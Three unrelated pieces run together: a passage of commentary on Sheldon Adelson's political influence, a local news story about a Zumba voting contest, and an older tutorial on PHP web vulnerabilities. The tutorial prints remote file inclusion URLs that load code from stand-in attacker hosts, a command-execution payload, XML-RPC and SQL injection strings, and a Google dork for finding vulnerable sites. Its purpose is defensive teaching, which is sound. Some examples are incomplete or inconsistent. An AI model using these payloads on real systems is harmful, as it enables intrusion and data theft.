I think what [Adelson] does is act as an enforcer. People are scared, to some extent, to cross him because they fear that if they anger him and fall out of favor with him that his funding, not only funding from him will dry up, funding from this larger circle of Jewish-American donors who give a lot of money in Republican politics.
Vogel's description of Adelson's influence was succinct and clearly backed up by Adelson's own statements, his choice of causes and candidates to support, and the policy positions embraced by candidates who owe their political careers to Adelson's largesse.
But this explanation was delivered to a Canadian television network instead of The New York Times.
Phil Weiss of the Mondoweiss blog writes that acknowledging Adelson's motives and influence "smacks of assertions of outsize Jewish influence that were a hallmark of murderous, anti-Semitic campaigns in Europe." Indeed, Weiss is accurate that discussing Adelson's influence can often feed anti-Semitic tropes with no basis in facts.
If he's correct, journalists are actively censoring themselves from discussing how an individual donor, whose views are shared by only a small minority of Jewish Americans, is advocating for foreign policy positions that isolate the U.S. from allies, such as those that supported the agreement to curb Iran's nuclear program, in favor of a hawkish U.S. agenda in the Middle East.
At the bare minimum, news outlets are expected to report on the facts. In this case, the facts are that U.S. foreign policy is starting to look an awful lot like what Sheldon Adelson has encouraged over the past several years.
Perhaps it's all a coincidence and Adelson is really engaged in a stealth campaign to reduce the estate tax and pass his $40-billion-plus fortune on to his children.
It makes more sense, however, to take the GOP's biggest donor at his word. Foreign news outlets have done just that. But the U.S. media appears incapable of wrestling with the new role money is playing in steering Washington's policy abroad.


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East End Zumba instructors swept up in online voting craze
By Jen Nuzzo
SUFFOLK TIMES FILE PHOTO | JABS founder Jill Schroeder at a Zumbathon fundraiser in Southold last year. Ms. Schroeder is currently leading Shape magazine's poll to determine America's most inspirational Zumba instructor.
Hundreds of East End Zumba fanatics have concentrated their motions over the past couple weeks to just their hands, repeating one specific maneuver over and over for hours on end.
No, they aren't participating in marathon exercise sessions. These women are pounding their fingers on keyboards, voting in a national online contest to support their favorite instructor.
So far, it's working. As of Monday afternoon, three Eastern Suffolk County Zumba instructors were in the top 10 of Shape magazine's "Inspirational Zumba Instructor Search" after just 12 days of voting.
Sitting atop the poll at No. 1 is Cutchogue resident Jill Schroeder, who's blowing away the competition with 206,712 votes. The next closest is one of Ms. Schroeder's former employees, Christine Locrotondo of Manorville, who has received 186,606 votes.
The winning instructor will be eligible to be featured on shape.com and in Shape magazine. Shape is also taking into consideration testimonials from clients.
"The community's support has been amazing," said Ms. Schroeder, owner of JABS, a fitness studio she opened on Pike Street in Mattituck last year. "It just goes to show you how much heart I put into this business."
Fellow JABS instructor Carol Leonard of Southold is in eighth place with 13,370 votes.
Ms. Schroeder said she first became interested in Zumba five years ago after taking a class in Nassau County, which she said was the closest studio that offered the Latin dance exercise at the time.
"I fell in love with it right then and there and decided to jump the gun and become a licensed instructor," Ms. Schroeder said.
Created in Cali, Colombia during the mid-90s by aerobics instructor Alberto "Beto" Perez, the fitness program is an international sensation. To become an instructor, one must be licensed by Zumba Fitness, the organization that holds the trademark on the program.
Since voting in the Shape competition began Aug. 15, Ms. Schroeder said her students have spent as much time on the computer as they have in the studio. Her clients are even bringing their laptops and voting together in groups before and after class.
Ms. Schroeder said she has also gotten the word out by telling her clients about the contest in her business' weekly email newsletter and on her Facebook profile.
Ms. Locrotondo, who now teaches Zumba at Leg Works Dance in Mastic, said she learned about the contest after one of her clients sent her a Facebook invite to an event called "Vote for Chrissy."
"After that, it just got huge," Ms. Locrotondo said.
Her supporters have even hosted "vote-a-thon parties," in which they get together and vote until the morning hours.
"I never thought so many people would want something as good as this for me," Ms. Locrotondo said. "I feel very lucky."
But the contest hasn't been all fun and games.
A third party wrote on Shape's Facebook page, accusing instructors in the top 10 of using software to send automatic votes electronically, something both Ms. Schroeder and Ms. Locrotondo deny.
Ms. Locrotondo said her placement at the top of the leaderboard — both her and Ms. Schroeder have held the No. 1 spot at times in the competition — is the result of her friends, family and clients voting multiple times. She said she believes other instructors and their supporters didn't realize individuals could vote multiple times when the contest began.
In an effort to allow others to catch up to her, Ms. Locrotondo asked her supporters to suspend their campaign for roughly 36 hours at one point last week.
"I don't want to win if people think I didn't win the right way," she said. "We decided, let's tell the world you can multi-click to vote and give them time to catch up."
Still, she and Ms. Schroeder are far ahead of third-place contender Tiffany Callaghan of Melbourne, Fla., whose 74,987 votes have her more than 130,000 votes off the pace.
Ms. Locrotondo and Ms. Schroeder say the fact that they know each other has made the competition both fun and fierce.
"When people are voting for something it's usually because they are passionate about it,' Ms. Schroeder said. "In this case, the Zumba instructors on this poll have inspired many individuals whose passion drives them to vote. What I take from this, as a trainer, is that we have done our job in creating excitement for Zumba, and more importantly, for fitness."
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Five common Web application vulnerabilities
"No language can prevent insecure code, although there are language features which could aid or hinder a security-conscious developer."
-Chris Shiflett
This article looks at five common Web application attacks, primarily for PHP applications, and then presents a case study of a vulnerable Website that was found through Google and easily exploited. Each of the attacks we'll cover are part of a wide field of study, and readers are advised to follow the references listed in each section for further reading. It is important for Web developers and administrators to have a thorough knowledge of these attacks. It should also be noted that that Web applications can be subjected to many more attacks than just those listed here.
While most of the illustrated examples in this article will discuss PHP coding due to its overwhelming popularity on the Web, the concepts also apply to any programming language. The attacks explained in this article are:
Format string vulnerabilities
Cross Site Scripting (XSS)
Username enumeration
Considering the somewhat poor programming approach which leads to these attacks, the article provides some real examples of popular products that have had these same vulnerabilities in the past. Some countermeasures are offered with each example to help prevent future vulnerabilities and subsequent attacks.
This article integrates some of the critical points found in a number of whitepapers and articles on common Web application vulnerabilities. The goal is to provide an overview of these problems within one short article.
2. Vulnerabilities
2.1 Remote code execution
As the name suggests, this vulnerability allows an attacker to run arbitrary, system level code on the vulnerable server and retrieve any desired information contained therein. Improper coding errors lead to this vulnerability.
At times, it is difficult to discover this vulnerability during penetration testing assignments but such problems are often revealed while doing a source code review. However, when testing Web applications is is important to remember that exploitation of this vulnerability can lead to total system compromise with the same rights as the Web server itself.
Rating: Highly Critical
Previously vulnerable products:
phpbb, Invision Board, Cpanel, Paypal cart, Drupal, and many others
Here we will look at two such types of critical vulnerabilities:
Exploiting register_globals in PHP:Register_globals is a PHP setting that controls the availability of "superglobal" variables in a PHP script (such as data posted from a user's form, URL-encoded data, or data from cookies). In earlier releases of PHP, register_globals was set to "on" by default, which made a developer's life easier - but this lead to less secure coding and was widely exploited. When register_globals is set to "on" in php.ini, it can allow a user to initialize several previously uninitialized variables remotely. Many a times an uninitialized parameter is used to include unwanted files from an attacker, and this could lead to the execution of arbitrary files from local/remote locations. For example:
require ($page . ".php");
Here if the $page parameter is not initialized and if register_globals is set to "on," the server will be vulnerable to remote code execution by including any arbitrary file in the $page parameter. Now let's look at the exploit code:
http://www.vulnsite.com/index.php?page=http://www.attacker.com/attack.txt
In this way, the file "http://www.attacker.com/attack.txt" will be included and executed on the server. It is a very simple but effective attack.
XMLRPC for PHP vulnerabilities: Another common vulnerability seen under this category of includes vulnerabilities with XML-RPC applications in PHP.
XML-RPC is a specification and a set of implementations that allow software running on disparate operating systems and in different environments to make procedure calls over the Internet. It is commonly used in large enterprises and Web environments. XML-RPC uses HTTP for its transport protocol and XML for data encoding. Several independent implementations of XML-RPC exist for PHP applications.
A common flaw is in the way that several XML-RPC PHP implementations pass unsanitized user input to the eval() function within the XML-RPC server. It results in a vulnerability that could allow a remote attacker to execute code on a vulnerable system. An attacker with the ability to upload a crafted XML file could insert PHP code that would then be executed by the Web application that is using the vulnerable XML-RPC code.
Here is a sample malicious XML file:
<?xml version="1.0"?> <methodCall> <methodName>test.method</methodName>
<params> <param> 	<value><name>','')); phpinfo(); exit;/*</name></value>
</param> </params> </methodCall>
The above XML file, when posted to the vulnerable server, will cause the phpinfo() function call to be executed on the vulnerable server, in this case a simple example that reveals various details about the PHP installation.
Here is a list of software which have previously possessed this style of bug:
Drupal, Wordpress, Xoops, PostNuke, phpMyFaq, and many others
Countermeasures:
More recent PHP versions have register_globals set to off by default, however some users will change the default setting for applications that require it. This register can be set to "on" or "off" either in a php.ini file or in a .htaccess file. The variable should be properly initialized if this register is set to "on." Administrators who are unsure should question application developers who insist on using register_globals.
It is an absolute must to sanitize all user input before processing it. As far as possible, avoid using shell commands. However, if they are required, ensure that only filtered data is used to construct the string to be executed and make sure to escape the output.
2.2 SQL Injection
SQL injection is a very old approach but it's still popular among attackers. This technique allows an attacker to retrieve crucial information from a Web server's database. Depending on the application's security measures, the impact of this attack can vary from basic information disclosure to remote code execution and total system compromise.
Rating: Moderate to Highly Critical
PHPNuke, MyBB, Mambo CMS, ZenCart, osCommerce
Covering SQL injection attacks in exhaustive detail is beyond the scope of this article, but below are a few good links in the references section which will help you to better understand this technique. This attack applies to any database, but from an attacker's perspective there are a few "favorites."
MS SQL has the feature of an extended stored procedure call, which allows any system level command to be executed via the MS SQL server – such as adding a user. Also, the error messages displayed by the MS SQL server reveals more information than a comparable MySQL server. While MS SQL server is not especially prone to a SQL injection attacks, there are security measures which should be implemented to make it secure and not allow the SQL server to give out critical system information.
Here is an example of vulnerable code in which the user-supplied input is directly used in a SQL query:
<form action="sql.php" method="POST" />
Name: <input type="text" name="name" />
 <input type="submit" value="Add Comment" />

</form> <?php $query = "SELECT * FROM users WHERE username = '{$_POST['username']}";  $result = mysql_query($query); ?>
The script will work normally when the username doesn't contain any malicious characters. In other words, when submitting a non-malicious username (steve) the query becomes:
$query = "SELECT * FROM users WHERE username = 'steve'";
However, a malicious SQL injection query will result in the following attempt:
$query = "SELECT * FROM users WHERE username = '' or '1=1'";
As the "or" condition is always true, the mysql_query function returns records from the database. A similar example, using AND and a SQL command to generate a specific error message, is shown in the URL below in Figure 1.
Figure 1. Error message displaying the MS SQL server version.
It is obvious that these error messages help an attacker to get a hold of the information which they are looking for (such as the database name, table name, usernames, password hashes etc). Thus displaying customized error messages may be a good workaround for this problem, however, there is another attack technique known as Blind SQL Injection where the attacker is still able to perform a SQL injection even when the application does not reveal any database server error message containing useful information for the attacker.
Avoid connecting to the database as a superuser or as the database owner. Always use customized database users with the bare minimum required privileges required to perform the assigned task.
If the PHP magic_quotes_gpc function is on, then all the POST, GET, COOKIE data is escaped automatically.
PHP has two functions for MySQL that sanitize user input: addslashes (an older approach) and mysql_real_escape_string (the recommended method). This function comes from PHP >= 4.3.0, so you should check first if this function exists and that you're running the latest version of PHP 4 or 5. MySQL_real_escape_string prepends backslashes to the following characters: \x00, \n, \r, \, ', "and \x1a.
2.3 Format String Vulnerabilities
This vulnerability results from the use of unfiltered user input as the format string parameter in certain Perl or C functions that perform formatting, such as C's printf().
A malicious user may use the %s and %x format tokens, among others, to print data from the stack or possibly other locations in memory. One may also write arbitrary data to arbitrary locations using the %n format token, which commands printf() and similar functions to write back the number of bytes formatted. This is assuming that the corresponding argument exists and is of type int * .
Format string vulnerability attacks fall into three general categories: denial of service, reading and writing.
McAfee AV, Usermin, Webmin, various Apache modules, winRar, ettercap, and others.
Denial-of-service attacks that use format string vulnerabilities are characterized by utilizing multiple instances of the %s format specifier, used to read data off of the stack until the program attempts to read data from an illegal address, which will cause the program to crash.
Reading attacks use the %x format specifier to print sections of memory that the user does not normally have access to.
Writing attacks use the %d, %u or %x format specifiers to overwrite the instruction pointer and force execution of user-supplied shell code.
Here is the piece of code in miniserv.pl which was the cause of a vulnerability in Webmin:
if ($use_syslog && !$validated)  {syslog("crit", ($nonexist ? "Non-existent" :  $expired ? "Expired" : "Invalid").
" login as $authuser from $acpthost");  }
In this example, the user supplied data is within the format specification of the syslog call.
The vectors for a simple DoS (Denial of Service) of the Web server are to use the %n and %0(large number)d inside of the username parameter, with the former causing a write protection fault within Perl – and leading to script abortion. The latter causes a large amount of memory to be allocated inside of the perl process.
A detailed Webmin advisory that was used for this example is available and provides more information.
Countermeasure:
Edit the source code so that the input is properly verified.
2.4 Cross Site Scripting
The success of this attack requires the victim to execute a malicious URL which may be crafted in such a manner to appear to be legitimate at first look. When visiting such a crafted URL, an attacker can effectively execute something malicious in the victim's browser. Some malicious Javascript, for example, will be run in the context of the web site which possesses the XSS bug.
Rating: Less to Moderately Critical
Microsoft IIS web server, Yahoo Mail, Squirrel Mail, Google search.
Cross Site Scripting is generally made possible where the user's input is displayed. The following are the popular targets:
On a search engine that returns 'n' matches found for your '$_search' keyword.
Within discussion forums that allow script tags, which can lead to a permanent XSS bug.
On login pages that return an error message for an incorrect login along with the login entered.
Additionally, allowing an attacker to execute arbitrary Javascript on the victim's browser can also allow an attacker to steal victim's cookie and then hijack his session.
Here is a sample piece of code which is vulnerable to XSS attack:
<form action="search.php" method="GET" /> Welcome!!
Enter your name: <input type="text" name="name_1" />

 <input type="submit" value="Go" />

 </form> <?php echo "
Your Name
"; echo ($_GET[name_1]); ?>
In this example, the value passed to the variable 'name_1' is not sanitized before echoing it back to the user. This can be exploited to execute any arbitrary script.
Here is some example exploit code:
http://victim_site/clean.php?name_1= or
http://victim_site/clean.php?name_1=
The above code can be edited in the following manner to avoid XSS attacks:
<?php $html= htmlentities($_GET['name_1'],ENT_QUOTES, 'UTF-8'); echo "
Your Name
"; echo ($html); ?>
2.5 Username enumeration
Username enumeration is a type of attack where the backend validation script tells the attacker if the supplied username is correct or not. Exploiting this vulnerability helps the attacker to experiment with different usernames and determine valid ones with the help of these different error messages.
Rating: Less Critical
Nortel Contivity VPN client, Juniper Netscreen VPN, Cisco IOS [telnet].
Figure 2 shows an example login screen:
Figure 2. Sample login screen.
Figure 3 shows the response given when a valid username is guessed correctly:
Figure 3. Valid username with incorrect password.
Username enumeration can help an attacker who attempts to use some trivial usernames with easily guessable passwords, such as test/test, admin/admin, guest/guest, and so on. These accounts are often created by developers for testing purposes, and many times the accounts are never disabled or the developer forgets to change the password.
During pen testing assignments, the authors of this article have found such accounts are not only common and have easily guessable passwords, but at times they also contain sensitive information like valid credit card numbers, passport numbers, and so on. Needless to say, these could be crucial details for social engineering attacks.
Display consistent error messages to prevent disclosure of valid usernames. Make sure if trivial accounts have been created for testing purposes that their passwords are either not trivial or these accounts are absolutely removed after testing is over - and before the application is put online.
3. Case study: notice Google's power
Most incidents such as Web site defacement or other basic hacking activity are done by people (often referred to as 'script kiddies') to gain recognition among their peers - and not really to gain any valuable information like credit cards. In this part of the article, we will look at one real-life example the authors have faced in their role as penetration testers.
One day we received a call from software company XYZ in Asia-Pacific. Their Website has been defaced. The main Website displayed a message saying that the site had been hacked by somebody in Holland. But the questions buzzing in everyone's mind were:
Why would somebody in Holland be interested in this Website? What could the attacker gain by hacking into it? There was no critical information on the server which would benefit an attacker, certainly no credit card information. After a detailed analysis it was concluded the attack was probably done for more fun and not really for profit.
Most importantly, how did the hacker break in?
The site which was defaced had been running a vulnerable version of a popular e-commerce software package. The vulnerability in this software allowed an attacker to include a remote file, thereby allowing the execution of any arbitrary code within the context of the Web server's privileges. Here is the snippet of code which caused this vulnerability:
<?    if (!defined($include_file . '__')) {      define($include_file . '__', 1);          include($include_file);    }  ?>
Exploiting this vulnerability is very trivial. All the attacker did to exploit this was to include, in the URL, a remote file having the malicious code which he wanted to execute:
http://vulnerable_server/includes/include_once.php? include_file=https://attackersite.com/exploit.txt (note: all on one line)
The attacker could then run any arbitrary code on the vulnerable server through this exploit.txt file, for example:
<? passthru("/bin/cat application.php")?>
The above code will print the source code of application.php file.
The question which needs considered here is, how did the attacker first reach this site? And how did he know that the victim is using a vulnerable version of this software? Well, a Google search for "inurl:/includes/include_once.php" lists all the web sites using this vulnerable product, and it's a cakewalk from there. Once found, the attacker's job was then simply to run the same exploit on any or all of the Websites that Google returned, and soon they would all be compromised.
Thus we see here that the attacker can easily reach a Website that uses vulnerable software through "Google dorks." In most of these cases, exploit code is readily available to the public through mailing lists, vulnerability reporting websites, and elsewhere. Therefore it becomes very trivial for the attacker to exploit known vulnerabilities in any Web application. It is not only the vendor's responsibility to release a patch as soon as the vulnerability is discovered, but also Website operators deploying software need to keep themselves updated with the security issues discovered in all the software packages they have deployed. Even if the application is not in use, if the files still exist on the server the server may still be vulnerable.
4. Defense-in-depth
This article has rightly focused on the source of Web vulnerabilities – the applications themselves. The application code is always the first place to secure a Web application. But there are also additional, defense-in-depth methods that can add additional layers of protection.
Once the Web server is hardened and the application is quality tested to be secure, additional layers will still help improve one's security posture. One approach using open-source software would be to use the mod_security Apache module with a modified Snort ruleset on the Web server itself, CHROOT Apache, provide file integrity monitoring of the Web server files using AIDE, and then add Snort as either a HIDS or NIDS. With regularly updated rulesets and an administrator who actively reads his logs, this provides an effective additional layer of defense. Of course, commercial alternatives to each of these technologies is also available. However, step number one is to first make the Web application secure.
In this article we've demonstrated five common web application vulnerabilities, their countermeasures and their criticality. If there is a consistent message among each of these attacks, the key to mitigate these vulnerabilities is to sanitize user's input before processing it. Through the case study we tried to connect standard Google hacking with these vulnerabilities and show how the attackers use the approaches together to reach to sites with vulnerable products and then hack and deface them.
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